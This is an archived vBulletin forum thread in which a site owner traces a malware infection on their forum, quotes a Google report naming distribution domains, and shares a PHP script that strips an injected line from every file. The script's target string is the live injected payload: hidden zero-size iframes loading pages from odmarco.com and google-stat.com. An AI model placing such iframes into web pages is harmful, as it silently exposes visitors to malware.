vb.org Archive - Malware ... but where?!.. AHHHH!

Okay, thanks for help so far. I am updating now, and have emailed host. I have also submitted site for reviewing by Google.

Right, a look at the Google report.

Quote:

Malicious software includes 1 trojan(s). Successful infection resulted in an average of 6 new process(es) on the target machine.

Malicious software is hosted on 8 domain(s), including odmarco.com/, 92.38.0.0/, go00ogle.net/.

3 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including odmarco.com/, s100.ucoz.ru/, goldtraff.info/.

The odmarco has been removed, not sure about the others.

--------------- Added [DATE]1251049948[/DATE] at [TIME]1251049948[/TIME] ---------------

Forum is updated, now looking into other problems.

When the page loads, an odmarco link still loads, not sure where to search for it.

--------------- Added [DATE]1251050426[/DATE] at [TIME]1251050426[/TIME] ---------------

Update: turns out many dreamhost people have had a problem. The script injects a line of code to nearly every index.php/html file accessible. There are some scripts to remove this, so I am working on it.

--------------- Added [DATE]1251052649[/DATE] at [TIME]1251052649[/TIME] ---------------

Okay, I need to edit this code so that it searches in EVERY html file and every folder and file to remove the line:

Code:

<?php



$clear = new clearOdmarco(getcwd());

$clear->main();

class clearOdmarco

{

  protected $path;

  protected $string_to_clear = '<iframe src="http://google-stat.com/tomi/?t=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://odmarco.com/tomi/?t=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://odmarco.com/arwe/?736361acd09ca9717c9462514beb5205" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>';

    public function __construct($path)

  {    $this->path = $path;

  }  

  public function main()

  {

    $this->checkDir($this->path);

  }

  

  protected function checkDir($path)

  {

    $dir = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));

    echo "PARSING " . $dir->getFileName() . "\n";

    

    foreach ( $dir as $current )

    {

      if ($current->isFile())

      {

        $this->clearFile($current->getPath() . '/' . $current->getFileName());

      }

    }

  }

  

  protected function clearFile($file)

  {

    echo 'checking ' . $file . "\n";

    $contents = file_get_contents($file);

    if (strpos($contents, 'odmarco'))

    {

      echo "FOUND string, cleaning\n";

      $clean_contents = $this->clean($contents);

      if (file_put_contents($file, $clean_contents))

      {

        echo "WRITTEN clean file contents\n";

      } else

      {

        echo "COULD NOT WRITE " . $file . "\n";

      }

    }

  }

  

  protected function clean($string)

  {

    $clean_contents = str_replace($this->string_to_clear, '', $string);

    return $clean_contents;

  }

}

--------------- Added [DATE]1251053592[/DATE] at [TIME]1251053592[/TIME] ---------------

Think I have got rid of it, please tell me if otherwise.

X vBulletin 3.8.12 by vBS Debug Information
Page Generation 0.01034 seconds Memory Usage 1,728KB Queries Executed 10 (?)
More Information
Template Usage: (1)ad_footer_end (1)ad_footer_start (1)ad_header_end (1)ad_header_logo (1)ad_navbar_below (1)bbcode_code_printable (1)bbcode_quote_printable (1)footer (1)gobutton (1)header (1)headinclude (6)option (1)pagenav (1)pagenav_curpage (1)pagenav_pagelink (1)post_thanks_navbar_search (1)printthread (3)printthreadbit (1)spacer_close (1)spacer_open Phrase Groups Available: global postbit showthread	Included Files: ./printthread.php ./global.php ./includes/init.php ./includes/class_core.php ./includes/config.php ./includes/functions.php ./includes/class_hook.php ./includes/modsystem_functions.php ./includes/class_bbcode_alt.php ./includes/class_bbcode.php ./includes/functions_bigthree.php Hooks Called: init_startup init_startup_session_setup_start init_startup_session_setup_complete cache_permissions fetch_threadinfo_query fetch_threadinfo fetch_foruminfo style_fetch cache_templates global_start parse_templates global_setup_complete printthread_start pagenav_page pagenav_complete bbcode_fetch_tags bbcode_create bbcode_parse_start bbcode_parse_complete_precache bbcode_parse_complete printthread_post printthread_complete
Messages: